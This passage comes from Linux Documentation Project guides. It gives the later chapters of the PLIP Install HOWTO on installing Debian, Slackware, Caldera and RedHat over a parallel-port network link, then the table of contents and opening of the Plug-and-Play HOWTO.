If not, like in the previous example, add the route to 192.168.0.2, the source:

     $ route add -host 192.168.0.2 dev plip1

Now the route is installed:

     $ route
     Kernel IP routing table
     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
     192.168.0.2     0.0.0.0         255.255.255.255 UH    0      0        0 plip1
     127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

Now you can perform a successful ping from the source server (ping is not available on the Debian install process):

     $ ping target
     PING target (192.168.0.1): 56 data bytes
     64 bytes from 192.168.0.1: icmp_seq=0 ttl=64 time=14.0 ms
     64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=4.3 ms

     --- target ping statistics ---
     2 packets transmitted, 2 packets received, 0% packet loss
     round-trip min/avg/max = 4.3/9.1/14.0 ms

If it doesn't work, check the Null-Modem cable connection, rerun dmesg, ifconfig, route. Verify everything. Take a rest. Restart.

When the ping is okay, return to the normal installation process:

On the target: press Alt F1

13.4 Return to the normal install process

You are back to the normal installation process. You should still see:

     Next: Install the base system

Press <ENTER>

     Please select the medium you will use to install the system

Select nfs and press <ENTER>

     Please choose the NFS server and the mount path ...

Type: 192.168.0.2:/cdrom
Press <ENTER>

     Please choose the path inside the mounted NFS filesystem

Type /debian (normally already there) and press <ENTER>

If no error message complains about the nfs mount then bravo. You can verify this mount by entering the shell again:

Press Alt F2

     $ mount
     ...
     192.168.0.2:/cdrom on /instmnt type nfs (rw, addr=192.168.0.2)

     $ ls /instmnt/debian
     README                 README.non-US          doc/
     README.CD-manufacture  README.pgp@            hamm/
     README.mirrors.html    TRANS.TBL              tools/
     README.mirrors.txt     dists/

Press Alt F1

You're back again to the normal installation process.

Now the plip nfs cdrom connection is done. Let's go on and finish our job.

     Please select the directory containing a file base2_0.tgz

Select list and press <ENTER>

     Please Wait
     The installation program is building a list of ...

A new screen:

     Select Archive Path
     Please select the directory that you will use to install the Base
     System from.

Only one long item, already selected. Press <ENTER>

     The Base System is being extracted from
     /instmnt/debian/dists/.....

Take a second rest, you deserve it

     Next: Configure the Base System

Press <ENTER>

     Select Timezone

Select your timezone and your directory and press <ENTER>

     Timezone Configuration

Read and press <ENTER>

     Timezone Configuration.

An other page. Read, select <YES> and press <ENTER>

     Next: Make Linux Bootable Directly From Hard Disk

Press <ENTER>

     Create Master Boot Record?

Read
Select <Yes> and press <ENTER>

     Make Linux the Default Boot Partition?

Read.
Select <No> and press <ENTER>

     Next: Make a boot Floppy

Press <ENTER>

     Change Disk
     Please place a blank floppy disk in the first floppy drive.

Do it and press <ENTER>
The floppy is being formatted

     Creating a filesystem on the floppy...
     Copying the operating system kernel...

A new screen:

     Next: Reboot the System

Press <ENTER>

     Reboot the system ?

Remove the floppy and press <ENTER>

The system reboots. Are you still with the dark side? I guess yes, so insert the boot floppy you've just made and reboot again with Ctrl-Alt-Del

See the boot messages.
Read the text.

     New password:

Enter a root password.

     Re-enter new password

Do it. And learn it.

     Shall I create a normal user account now? [Y/n]

Enter n and press <ENTER>. Unless you want to do it (it is safe and good, in fact).

     Shall I install shadow passwords? [Y/n]

Enter y and press <ENTER>

     Do you want to use a PPP connection to install

Enter n and press <ENTER>

     Now you may choose one of several selections ...
     Do you want to perform this step?

Enter n and press <ENTER>

     I'm going to start the 'dselect' program...

Press <ENTER>
Select [Q]uit and press <ENTER>

     You may now login as 'root' at the login: prompt...
     ...
     debian login:

Enter root.

     Password:

Enter the root password.

    ...
     debian:~#

The system is installed and working. CONGRATULATIONS!

My job stops here. Read the install documentation of your distribution and go on with the Unix system administration job.

When you reboot your system, the plip connection won't be in good shape. But now you know what to do.

I suggest you some work:

  • Configure the plip interface for the normal boot process (in the file /etc/init.d/network).
  • Configure /etc/fstat on the target to simply mount the remote source cdrom via nfs.
          source:/cdrom              /cdrom   nfs     noauto,intr 1 2
  • Learn Lilo. Configure it for your DOS and Linux systems and install it on a floppy.
  • When you master Lilo on the floppy, install it on your hard drive.
  • Install and configure the X Window System.
  • Have fun.
  • Mail me some feedback.


PLIP Install HOWTO: Installing Slackware, Caldera

 Next Previous Contents

14. Installing Slackware, Caldera

This section is written by Florent SAUNIER.
sabetflo@freesurf.fr

Here, '&' is used for the root prompt, rather than '$'.

I have performed a Slackware installation using PLIP very succesfully. I have also been able to install RedHat and Caldera Open linux using the very same method described below.

As previously specified by Gilles, a Slackware installation requires everything specified in the chapter "What do you need?" with the time increased to 10 hours if you desire to install xfree(86) and some development tools.

Further on, you first need to read Gilles' installation as I set up mine according to his method.

Finally, I have performed Slackware and Caldera installation on a Twinhead 550C laptop, with 8Mb Ram, and 2Gbytes Hard drive.

14.1 Slakware installation

  • 1- Make 2 disks (boot and root) and prepare a plip disk
  • 2- Install PLIP module
  • 3- Create a NFS drive to use PLIP with
  • 4- Launch the Slackware (or Caldera) Installation
  • 5- Drink all remaining coffee and go to bed waiting completion of installation. Graham said: Comment ? Du café avant de dormir ? Non ! Le café au petit matin, après la nuit. Avant, du vin.

Making boot,root and plip disks

To install Slackware verion using an ATAPI CDROM from your source, you will need the standard kernel image bareapm.i or bare.i. If you want to make an install with SCSI support, use the scsinet.i image.

Other images exist, such as net.i which should include the PLIP function but on my i486 laptop, Twinhead550C, the image does not work. In my experience, the standard image always works on any laptop I have used.

1a- creating the boot and root disks.

From DOS (PC-DOS, DR-DOS, FreeDOS, ...) create the boot disk by typing:

    rawrite bareapm.i
then create the root disks:
    rawrite color.gz.a  (if you are using a color screen)

1b- Creating the PLIP disk

On a DOS formated disk copy the following files:

  • 1- plip.o (object program for the plip tool)
  • 2- parport_pc
  • 3- parport
Those modules are compulsory prior to a PLIP install, you will find them into the Slackware installation CDROM under the directory /MODULES. The same applies to the Caldera installation. Run a "find" if you cannot find them.

1c- launching the installation.

Insert your boot disk in your Laptop and start the computer. Follow the installation procedure and wait until the system ask for the root disk. Insert it and wait for the prompt login: "Slackware login".

To start the Slackware installation you must log in as root. Type "root" at the prompt. Be aware that at the time of installation your keyboard is still qwerty.

2a- Install PLIP module

Install your source computer according to Gilles' instructions, from chapter 7 to 9.

Install PLIP on the target. To install the PLIP module you need to launch the program from your PLIP disk. Remember you did it, no !!!

Access your floppy disk with:

          $ mount /dev/fd0h1440 /floppy
          $ cd /floppy
          $ insmod parport      # it will install your parallel port
          $ insmod parport_pc   # it will set it up
          $ insmod plip         # it will install plip module
If during the PLIP installation you encounter an error, it means that your parallel port has not been correctly installed. You may type again the instruction above, it does work sometimes !!, or go to the parport directory and write the appropriate setting.
      $ cd /proc/parport/0
      $ vi IRQ            # Verify that 7 is written in it if you are using
                          # that interrupt'
See the chapter "PLIP on the source side" to get the proper setting.

You should not bother too much as at 95% on the 5 laptops I have installed everyting went smoothly. (Comment peut-on avoir "95% de cinq", said rational Graham)

3a- Now create your NFS drive.

From that point I have chosen to use the creation of a NFS drive on the target computer. Then I will make an installation using the "From directory" option rather than from nfs.

Do not forget you still have a US keyboard layout. Of course you have set up your source according to chapter "Network parameters". You did then ping your source, but you cannot yet ping the target.

So the first step is to configure your PLIP connection: On the target type:

       $ ifconfig plip0 192.168.0.1 pointopoint 192.168.0.2 netmask 255.255.255.255 up

Test your Plip configuration by pinging the target from the source

     $ ping target
then mount your nfs drive on the target:
     $ cd /
     $ mkdir nfstest
     $ mount -t nfs 192.168.0.2:/cdrom /nfstest
You have just configured a drive linked to your source directory /cdrom were you suppose to have the Slackware CDROM connected, from your target directory called nfstest.

Now everything is set up and you are ready to launch the Slackware installation program, by typing "setup".

note:if you do not have enough memory, below 8MB setup will not be launched, then you will have to make a swap space to allow the program to work. First, create your disk partition with your swap by typing

       $ fdisk

Note which is your swap partition (e.g. /hda3), then quit fdisk with 'w'. Once it's done, type:

       $ mkswap -c /dev/hda3
       $ swapon /dev/ha3

Your swap is now set up. You may then launch the "setup" program.

4a- Installing Slakware

the setup programm shows various menu items:

  • HELP - Help file
  • KEYMAP - Keyboard select (Azerty at last !!!)
  • ADDSWAP - Create and select swap
  • TARGET - Select target
  • SOURCE - select the source
  • SELECT - Select packages to install
  • CONFIGURE - Set up your Linux system and make LILO
  • EXIT - bye bye setup

4b- Select your keyboard, for French take -Fr-latin1.map

4c- Select your swap partition if not already configured

4d- Select the target, default is '/'

4e- Select the source. tricky stuff: choose "Installing from a drive", then type the drive so : /nfstest/slackware '/slackware' because your drive must point to your slackware CDROM directory

4f- Select packages to install

4g- Wait, Wait, Wait and Wait........

14.2 Caldera Installation

I told you that Caldera works also with that install. In fact, as Caldera automatically launches its Setup program, once you arrived at the menu where you are supposed to choose your source disks, type ALT F2, go to another screen, then log on as root and make your nfs drive as described above in points 2 to 4. Then go back to the installation screen with ALT F1, and type the famous nfstest as your source directory. Caldera will then install without problem.

14.3 Troubleshooting

If you are experiencing any trouble with that installation you may report it to me and I'll try to help as best as I can.


PLIP Install HOWTO: Installing RedHat 6.x

 Next Previous Contents

15. Installing RedHat 6.x

This section is written by Dr. Tilmann Bubeck, bubeck@think-at-work.de

I tried hard to install a laptop through PLIP with a RedHat 6.2 but the installer from RedHat is buggy and could not be used for PLIP. I verified that it was already broken in RedHat 6.1, but works in RedHat 5.2 as desired. Patches have been sent to RedHat and will hopefully be applied to the upcoming RedHat 7.0.

So if you want to install a RedHat 6.x over PLIP you must follow these instructions.

The problem is the "bootnet" disk. This disk should be used for PLIP installation but has 2 serious errors:

  • it does not contain the necessary driver "parport_pc"
  • it does not allow you to specify important module parameters to "parport_pc" (especially "iobase" and "irq").

15.1 Using a fixed "bootnet" disk

Probably the easiest way to solve the above problem is to use a fixed "bootnet" disk. You can get a fixed "bootnet" disk for RedHat 6.2 from http://www-ti.informatik.uni-tuebingen.de/~bubeck/bootnet-plip-62.img

Use the following command to copy the downloaded image to an empty disk:

dd if=bootnet-plip-62.img of=/dev/fd0.

Then insert the disk and turn your computer on. When you come to the point where you must choose your network device driver please do:

  • 1- Choose "Parallel Port Module for PC" and select "specify module parameters".
  • 2- Enter iobase and interrupt for your parallel port. Typical values are iobase=0x378 or iobase=0x3bc. Interrupt most often is "irq=7".
  • 3- Validate that the kernel loads the module and finds the parallel port. Use ALT+F4 to switch to kernel messages and look for a line saying: "parport: ... irq: 7".
  • 4- The installation will then try to access the network which is still not available. So the installer asks again for the installation method. Choose your method again.
  • 5- Now choose the "plip" module without any parameters. Again verify the loading of the module in the kernel messages.
  • 6- Network should be up and running, installation should proceed. If not, then check the modules parameters to "parport_pc".

15.2 Building your own "bootnet" disk

If the above bootnet disk is not suitable for your needs, I will present a small description of how to transform a standard bootnet disk for using "plip". This description is quite short and is addressed to the advanced user.

  • 1- make a copy of the standard bootnet disk by using "dd".
  • 2- insert this copy of standard bootnet disk and mount it with: mount /dev/fd0 /mnt
  • 3- gunzip initial ramdisk with cp /mnt/initrd.img /tmp/initrd.img.gz; gunzip /tmp/initrd.img.gz
  • 4- Mount initial ramdisk with mkdir /mnt2; mount -o loop /tmp/initrd.img /mnt2
  • 5- gunzip and extract modules directory with: cd /tmp; zcat /mnt2/modules/modules.cgz | cpio -ivd
  • 6- You should now have a directory called with your kernel version number (e.g. "2.2.14-5.0BOOT") containing a lot of modules. Check if the modules "parport_pc.o" is included in this directory (it is unfortunately NOT included in RedHat 6.0-6.2). If you can not find it, then please build a custom kernel with the EXTRAVERSION number like your bootnet disk (in this case: "5.0BOOT") and "parport" support as module. Copy the newly created parport_pc.o module to your new modules directory: cp .../parport_pc.o /tmp/2.2.14-5.0BOOT.
  • 7- delete a normally unused module, so that you have additional space on the disk: rm /tmp/2.2.14-5.0BOOT/sktr.o (driver for token ring network adapter).
  • 8- rebuild modules archive with: find /tmp/2.2.14-5.0BOOT | cpio -ov -H crc | gzip > /mnt2/modules/modules.cgz
  • 9- insert a new modules dependency line into modules.dep saying that module "parport_pc" needs module "parport": echo "parport_pc: parport" >> /mnt2/modules/modules.dep
  • 10- insert entry for parport_pc module into module-info so that the user can select the parport_pc module during installation. Append the following text to the end of /mnt2/modules/module-info:
    parport_pc
        plip
        "Parallel Port Module for PC"
        io "Base I/O address"
        irq "IRQ level"
  • 11- unmount and gzip initial ramdisk with: umount /mnt2; gzip -9 /tmp/initrd.img
  • 12- copy initial ramdisk to bootnet disk and unmount: cp /tmp/initrd.img.gz /mnt/initrd.img; umount /mnt

By following these instructions, you get a bootnet disk containing all necessary modules and therefore allowing for a PLIP installation. Please follow the instructions elsewhere in this how-to on how to do the installation with the new disk.


PLIP Install HOWTO: Installing RedHat 7.0

 Next Previous Contents

16. Installing RedHat 7.0

This section is written by Leonard den Ottolander

To install RedHat 7.0 over PLIP the easiest way to go is to use a patched bootnet.img which is available via the url http://home.hetnet.nl/~ottolander. This saves the need for a driver disk, which might be useful when installing on a machine which floppy drive stops functioning after boot (I made this bootnet-plip.img to do an install to a Toshiba Libretto 30 which has a funny PCMCIA floppy drive that is no longer available after boot).

This disk is a full bootnet.img for RedHat 7.0, with the modules necessary for PLIP added to it. Since there was enough disk space, no modules had to be deleted. So you can use this image as if it were a full featured bootnet.img. No need for different disks.

I am not going into detail on the actual installation procedure, but there are a few things to note:

  • The parport module should be loaded before the PLIP module. Specify i/o address and irq parameters for the parallel port when inserting the parallel port module.

  • After inserting the parport_pc module the installer will show the "Installation method" screen a second time. This is expected behaviour. Choose the PLIP module this second time. No parameters need to be specified when inserting the PLIP module.

  • When specifying network parameters, do not use a netmask of 255.255.255.255 as you might normally do for a PLIP connection. If you do this by accident you will have to reboot to be able to mount the installation directory succesfully. Going back and respecifying the parameters will not help you out.

  • When doing an NFS install with RedHat 7.0 make sure all files from the RedHat directories from both CD's are copied to the NFS mount point (cp -a RedHat for both CD's). It is not possible to use the mounted CD's.

16.1 Creating your own bootnet-plip disk

This section is a slightly adapted copy of the procedure to create a bootnet-plip image for RedHat 6.2 described by Tilmann Bubeck. Thanx Tilmann!

  • 1) Mount a copy of the standard bootnet disk and copy all files to a temporary directory:

            mount -o loop -t vfat /tmp/bootnet.img /mnt/bootnet
        cp -a /mnt/bootnet /tmp

  • 2) Gunzip the initial ramdisk, mount it and copy all files to a temporary directory:

            mv /tmp/bootnet/initrd.img /tmp/bootnet/initrd.gz
        gzip -d /tmp/bootnet/initrd.gz
        mount -o loop /tmp/bootnet/initrd /mnt/initrd
        cp -a /mnt/initrd /tmp

  • 3) Gunzip and extract the modules directory with:

            cd /tmp
        zcat /tmp/initrd/modules/modules.cgz | cpio -ivd

  • 4) Install the kernel-BOOT-2.2.16-22 rpm and copy the modules parport.o, parport_pc.o and plip.o from /lib/modules/2.2.16-22BOOT to /tmp/2.2.16-22BOOT, or use the midnight commander to extract these files from rpm. When building modified boot disks you will always need the modules from the kernel-BOOT rpm.

  • 5) If you need additional space on your bootnet-plip disk, delete an unused module from the modules directory, fe:

            rm /tmp/2.2.16-22BOOT/old_tulip.o

    Note that this is not necessary for the RedHat 7.0 bootnet disk. There is enough space left for the added modules. Do *not* delete modules like sunrpc.o, lockd.o, nfs.o, fat.o, vfat.o and the like. This will make your disk useless. Use common sense.

  • 6) Rebuild the modules archive:

            find /tmp/2.2.16-22BOOT | cpio -ov -H crc | gzip > \
        /tmp/initrd/modules/modules.cgz

  • 7) Insert a new modules dependency line into modules.dep saying that module "parport_pc" needs module "parport":

            echo "parport_pc: parport" >> /tmp/initrd/modules/modules.dep

  • 8) Insert entries for the parport_pc and plip modules into module-info. These entries should look like this:

        parport_pc
        plip
        "Parallel Port, Insert Before PLIP"
        io "Base I/O address"
        irq "IRQ level"
    plip
        plip
        "PLIP (Parallel Link Interface Protocol)"
        io "Base I/O address"
        irq "IRQ level"

    You probably may omit the io and irq entries for plip. Also delete any entries that refer to modules that you removed from the archive (ie old_tulip in the previous example).

  • 9) Copy the modified module files to the initial ramdisk:

           cp -a /tmp/initrd/modules/module* /mnt/initrd/modules

  • 10) Unmount and gzip the initial ramdisk and copy it to the disk image:

            umount /mnt/initrd
        gzip -9 /tmp/bootnet/initrd
        cp /tmp/bootnet/initrd.gz /mnt/bootnet/initrd.img
        umount /mnt/bootnet

  • 11) The file /tmp/bootnet.img is now your new bootnet-plip.img. You might want to clean up your temporary files:

            rm -r /tmp/2.2.16-22BOOT
        rm -r /tmp/initrd
        rm -r /tmp/bootnet


PLIP Install HOWTO: Installing Suse

 Next Previous Contents

17. Installing Suse

The Suse installation process includes PLIP support (Network type configuration). If you encounter a problem installing a Suse distibution using PLIP, feel free to report them.


PLIP Install HOWTO: Installing from a DOS partition

 Next Previous Contents

18. Installing from a DOS partition

You can use this section if you already have a DOS partition on your target computer. I think it is a faster installation method.

Read the section 5.3.1 "Installing from a DOS partition" from install.txt. This section is also available on the Debian CD in the html file ch-install-methods.html.

I am just going to help you to make the first point : "1. Get the following files from your nearest Debian repository"

The transfer is easy with the floppy-disc based Linux from tomsrtbt.

Export the source cdrom drive via nfs.

Read the file tomsrtbt.FAQ

Create the floppy under DOS or Linux, you have the choice.

     Linux installation:
     a) extract the .tar.gz archive
     b) Be root
     c) Be in the tomsrtbt-<version> directory
     d) Have a blank floppy with no bad sectors
     e) Do './install.s'

Boot the target with the floppy. Login as root.

      $ insmod plip
      $ ifconfig plip1 192.168.0.1 pointopoint 192.168.0.2 \
      netmask 255.255.255.255 up
      $ route add -host 192.168.0.2 dev plip1
      $ mount -t nfs 192.168.0.2:/cdrom /cdrom
      $ mkdir /c
      $ mount -t msdos /dev/hda1 /c
      $ mkdir /c/debian
      $ cd /cdrom/dists/stable/main/disks-i386/current/
      $ cp resc1440.bin drv1440.bin base2_1.tgz root.bin linux \
      install.bat loadlin.exe /c/debian

The \ means the command line continues on the next line. The cp command takes some time. When finished, remove the floppy and then :

      $ reboot

Boot under DOS.

      C:\> cd debian
      C:\DEBIAN> install

Now you start to install Debian from a DOS partition. You do not need plip or floppy during the installation process. Everything deals with the hard drive. Read the Debian install documentation, it is very good and clear.


PLIP Install HOWTO: Install the plip interface permanently

 Next Previous Contents

19. Install the plip interface permanently

19.1 On the source side

I use an old Linux RedHat 4.1 distribution. The location of the files can be different on other GNU/Linux distributions but the philosophy is the same (The Unix System V convention).

Create the file /etc/rc.d/init.d/plip with this content:

#!/bin/sh

##############################
# file /etc/rc.d/init.d/plip #
##############################

# See how we were called.
case "$1" in
  start)
        # Start daemons.
        /bin/echo "Starting plip interface: "
        /bin/echo "Doing /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 up"
        /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 up
        /bin/echo  "Doing /bin/ping -q -c 4 target"
        /bin/ping -q -c 4 target
        /bin/echo "Starting plip interface: done"
        ;;
  stop)
        # Stop daemons.
        /bin/echo  "Shutting down plip interface:"
        /bin/echo  "Doing /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 down"
        /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 down
        /bin/echo  "Doing /sbin/modprobe  -r plip "
        /sbin/modprobe  -r plip
        /bin/echo "Shutting down plip interface: done"
        ;;
  *)
        echo "Usage: $0 {start|stop}"
        exit 1
esac

exit 0

# === End of File ===

Only the ifconfig lines are strictly necessary. Perhaps you will need to add some modprobe commands if you don't use kerneld or the kmod feature of new kernels 2.2.x

Create the symbolic links in the rc*.d directories:

      $ cd /etc/rc.d/rc0.d/
      $ ln -s ../init.d/plip K97plip

      $ cd /etc/rc.d/rc1.d/
      $ ln -s ../init.d/plip K92plip

      $ cd /etc/rc.d/rc3.d/
      $ ln -s ../init.d/plip S11plip

      $ cd /etc/rc.d/rc5.d/
      $ ln -s ../init.d/plip S11plip

You can choose other numbers. Make sure that the two-digit number after 'K' is greater than the number of every other file that stops a service depending on plip.

Make sure that the two-digit number after 'S' is less than the number of every other file that start a service depending on plip: nfs, nis, ftp, http etc.

Update the /etc/conf.modules file, choosing the correct IRQ number (7 is mine, yours may be different):

# /etc/conf.modules
...
alias parport_lowlevel parport_pc
post-install parport_pc echo 7 >  /proc/parport/0/irq
...

Test the plip shell:

      $ /etc/rc.d/init.d/plip
      Usage: /etc/rc.d/init.d/plip {start|stop}

      $ /etc/rc.d/init.d/plip stop
      Shutting down plip interface:
      Doing /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 down
      Doing /sbin/modprobe  -r plip
      Shutting down plip interface: done

      $ /etc/rc.d/init.d/plip start
      Starting plip interface:
      Doing /sbin/ifconfig plip0 source pointopoint target netmask 255.255.255.255 up
      Doing /bin/ping -q -c 4 target
      PING target (192.168.0.1): 56 data bytes

      --- target ping statistics ---
      4 packets transmitted, 4 packets received, 0% packet loss
      round-trip min/avg/max = 4.4/8.3/14.0 ms
      Starting plip interface: done

Updating the start scripts is a good occasion to reboot a Unix system, to check the modifications. Do it:

      $ init 6 # or "shutdown -r now" or "reboot"

19.2 On the target side

Update the file /etc/init.d/network:

      #! /bin/sh
      #######################
      # /etc/init.d/network #
      #######################

      ifconfig lo 127.0.0.1
      route add -net 127.0.0.0

      ifconfig plip1 192.168.0.1 pointopoint 192.168.0.2 netmask 255.255.255.255 up
      route add -host 192.168.0.2 dev plip1

That's all because the parport features are directly in the kernel.

Updating the start scripts is a good occasion to reboot a Unix system, to check the modifications. Do it:

      $ init 6


PLIP Install HOWTO: Compatibility with a printer (lp)

 Next Previous Contents

20. Compatibility with a printer (lp)

I use the same parallel port for printing on a printer and networking with my laptop without big problems. It takes less than one second to switch from printing to networking. I just add a cheap manual switch between the parallel port, the printer and the laptop. The cable between the switch and the desktop computer is a fully connected one. The switch is just the one used to shared printers when no network is available. It works.

Sometimes, the kernel is not very happy because it can't finish its network job. In that case, I shut down the plip interface and restart it when needed.

I bought a new parallel card last year but it is still in its box. I'll write an "install a second parallel port" when I succeed in opening the box and add that beautiful card in the last connector I have left.


PLIP Install HOWTO: Need to compile a new kernel ?

 Next Previous Contents

21. Need to compile a new kernel ?

Several times during the source server configuration we mentioned that a kernel compilation on the source computer could be needed.

I list the things you need to change or set. If you have never compiled a kernel, read the Kernel-HOWTO.

    Loadable module support  --->
        [*] Enable loadable module support

    General setup  --->
        [*] Networking support
        <M> Parallel port support
        <M>    PC-style hardware

    Networking options  --->
        [*] TCP/IP networking

    Network device support  --->
        [*] Network device support
        <*> Dummy net driver support
        <M> PLIP (parallel port) support
        <*> or <M>  PPP (point-to-point) support

    Character devices  --->
        <M> Parallel printer support

    Filesystems  --->
        [*] /proc filesystem support
        <*> or <M> ISO 9660 CDROM filesystem support
        Network File Systems  --->
            <*> or <M> NFS filesystem support


PLIP Install HOWTO: What's new

 Next Previous Contents

22. What's new

This tag is automatic so it IS the reference. (Sometimes I forget to update the version number and the date)

$Id: PLIP-Install-HOWTO.sgml,v 1.36 2001/12/03 19:12:53 gilles Exp $

v1.36, 3 December 2001

  • Changed the licence. Do what you want.
  • Added a Suse section. Thanks Graham.
  • Added a PLIP for the impatient section.
  • Changed my email address.

v1.31, 21 April 2001

  • Corrected a bad url in section "Installing RedHat 7.0". Thanks Leonard.
  • Corrected broken links find by the nice clink software.

v1.30, 13 April 2001

  • Added section "Installing RedHat 7.0". Thanks Leonard.

v1.28, 18 December 2000

  • Corrected more mistakes in my English. Thanks again Graham.

v1.27, 11 August 2000

  • The SLIP line was not needed, SLIP is serial line oriented. The PPP line was partly wrong, we need PPP support by the kernel.

  • Corrected more mistakes in my English, though I know that more remain and new ones come every time I write a sentence...

  • Added a "compatibility with a printer" section.

  • Added a Null-Printer == Null-Modem comment.

  • Added a "build your own cable" section.

  • Corrected a bug in the Slackware section. Here (inverted IP adresses). Thanks to Brad Rigby.

  • Removed obsolete paragraph from the "Introduction" section.

  • Added request for information about translations in the "Introduction" section.

  • Mentioned the "what's new section" at the top of the document.

  • Added a vc-header in the What's new section

  • Added the WHAT_IS_NEW label

v1.22, 16 June 2000

  • Added a mention to PARTED http://www.gnu.org/software/parted as told by Andrew Clausen (clausen@gnu.org).

  • Added section Installing Slackware, RedHat, or Caldera, by Florent SAUNIER.

  • Corrected some English faults, thanks to Graham and Tomas.

v1.15, 26 November 1999

  • The section "What's new". It is this section.

  • The section "Install the plip interface permanently".

  • The section "List of contributors and acknowledgements".

  • Joined the different chapters dealing with the detailed Debian installation to form a single chapter with the actual chapters as just subsections.

  • Made a new section "Installing from a DOS partition". A simpler and faster method.


PLIP Install HOWTO: To do

 Next Previous Contents

23. To do

  • Check a kernel compilation from scratch (no last .config file) with only the options I gave. Add the missing ones if any.

  • Make the Mandrake, Turbo Linux, and Stampede detailed installation chapters. Contributions are welcome. Gilles Lamiral won't do that job unless given new computers and CDs.

    Debian (done), Red Hat (redone by Tilmann Bubeck), Slackware (done), Caldera OpenLinux (done), SuSE (done).

  • Make "The CD-ROM NFS server side" chapter become simply "the server side" chapter with subsections like "cdrom medium", "zip medium", "hard disk medium", and "ftp server" "nfs server", "samba server" "http server". Again, contributions are welcome.


PLIP Install HOWTO: List of contributors and acknowledgements

 Next Previous Contents

24. List of contributors and acknowledgements

I thank all the people in this list of contributors or projects. If you think I forgot someone, do not hesitate to complain.

Werner Heuser <wehe@snafu.de>

He said: "yesterday I had time enough to read your document. It's great and in the next issue of my HOWTO (probably 2. December) I will make a link to it."

He did.

LDP <linux-howto@metalab.unc.edu>

The Linux Documentation Project accepted the PLIP-Install-HOWTO without any hesitation.

Graham Bosworth <graham@bozikins.connectfree.co.uk>

Graham corrected my bad English all over the document. Several times. Graham told me that Suse includes a PLIP installation process.

Simon Forget <sforget@camelot.ca>

Simon had a problem with his pcmcia floppy drive. So he led me search for a solution that is, in fact, simpler and faster (the DOS one).

Andrew Clausen <clausen@gnu.org>

Andrew suggested that I talk about parted http://www.gnu.org/software/parted

Florent SAUNIER <FlorentSAUNIER@sabetflo.freesurf.fr>

Florent wrote the section called "Installing Slackware/Caldera".

Tomas Pospisek <tpo@spin.ch>

Tomas also corrected my bad english.

Brad Rigby <brigby@rocketmail.com>

Brad corrected a bug in the Slackware section (inverted IP adresses).

Donald Becker <becker@super.org>

Donald wrote the PLIP kernel documentation
/usr/src/linux/Documentation/networking/PLIP.txt

Tilmann Bubeck <bubeck@think-at-work.de>

Tilmann wrote the section called "Installing RedHat 6.x".

Leonard den Ottolander <leonardjo@hetnet.nl>

Leonard wrote the section called "Installing RedHat 7.x".


Plug-and-Play-HOWTO

David S.Lawyer mailto:dave@lafn.org

v1.04, March 2002

Help with understanding and dealing with the complex Plug-and-Play (PnP) issue. How to get PnP to work on your PC (if it doesn't already). It doesn't cover what's called "Universal Plug and Play" (UPnP). See Universal Plug and Play (UPnP)

1. Introduction

  • 1.1 Copyright, Trademarks, Disclaimer, & Credits
  • 1.2 Future Plans; You Can Help
  • 1.3 New Versions of this HOWTO
  • 1.4 New in Recent Versions
  • 1.5 General Introduction. Do you need this HOWTO?

2. What PnP Should Do: Allocate "Bus-Resources"

  • 2.1 What is Plug-and-Play (PnP)?
  • 2.2 How a Computer Finds Devices (and conversely)
  • 2.3 Addresses
  • 2.4 I/O Addresses and Allocating Them
  • 2.5 Memory Ranges
  • 2.6 IRQs --Overview
  • 2.7 DMA Channels
  • 2.8 "Resources" for both Device and Driver
  • 2.9 The Problem
  • 2.10 PnP Finds Devices Plugged Into Serial Ports

3. The Plug-and-Play (PnP) Solution

  • 3.1 Introduction to PnP
  • 3.2 How It Works (simplified)
  • 3.3 Starting Up the PC
  • 3.4 Buses
  • 3.5 How Linux Does PnP

4. Setting up a PnP BIOS

  • 4.1 Do you have a PnP operating system?
  • 4.2 How are bus-resources to be controlled?
  • 4.3 Reset the configuration?

5. How to Deal with PnP Cards

  • 5.1 Introduction to Dealing with PnP Cards
  • 5.2 Device Driver Configures
  • 5.3 BIOS Configures PnP
  • 5.4 Disable PnP ?
  • 5.5 Isapnp (part of isapnptools)
  • 5.6 PCI Utilities
  • 5.7 Windows Configures
  • 5.8 PnP Software/Documents

6. Tell the Driver the Configuration

  • 6.1 Introduction
  • 6.2 Serial Port Driver: setserial
  • 6.3 Old ISA Sound Card Drivers

7. What Is My Current Configuration?

  • 7.1 Boot-time Messages
  • 7.2 How Are My Device Drivers Configured?
  • 7.3 How Are My Hardware Devices Configured?

8. Error Messages

  • 8.1 Unexpected Interrupt

9. Appendix

  • 9.1 Universal Plug and Play (UPnP)
  • 9.2 Address Details
  • 9.3 ISA Bus Configuration Addresses (Read-Port etc.)
  • 9.4 Interrupts --Details
  • 9.5 PCI Interrupts
  • 9.6 ISA Isolation


Plug-and-Play-HOWTO : Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright, Trademarks, Disclaimer, & Credits

Copyright

Copyright (c) 1998-2001 by David S. Lawyer mailto:dave@lafn.org

Please freely copy and distribute (sell or give away) this document in any format. Send any corrections and comments to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. If it's not a translation: Email a copy of your derivative work (in a format LDP accepts) to the author(s) and maintainer (could be the same person). If you don't get a response then email the LDP (Linux Documentation Project): submit@linuxdoc.org.
  2. License the derivative work in the spirit of this license or use GPL. Include a copyright notice and at least a pointer to the license used.
  3. Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

Disclaimer

While I haven't intentionally tried to mislead you, there are likely a number of errors in this document. Please let me know about them. Since this is free documentation, it should be obvious that I cannot be held legally responsible for any errors.

Trademarks.

Any brand names (starts with a capital letter) should be assumed to be a trademark). Such trademarks belong to their respective owners.

Credits

  • Daniel Scott proofread this in March 2000 and found many typos, etc.
  • Pete Barrett gave a workaround to prevent Windows from zeroing PCI IRQs.

1.2 Future Plans; You Can Help

Please let me know of any errors in facts, opinions, logic, spelling, grammar, clarity, links, etc. But first, if the date is over a month old, check to see that you have the latest version. Please send me any info that you think belongs in this document.

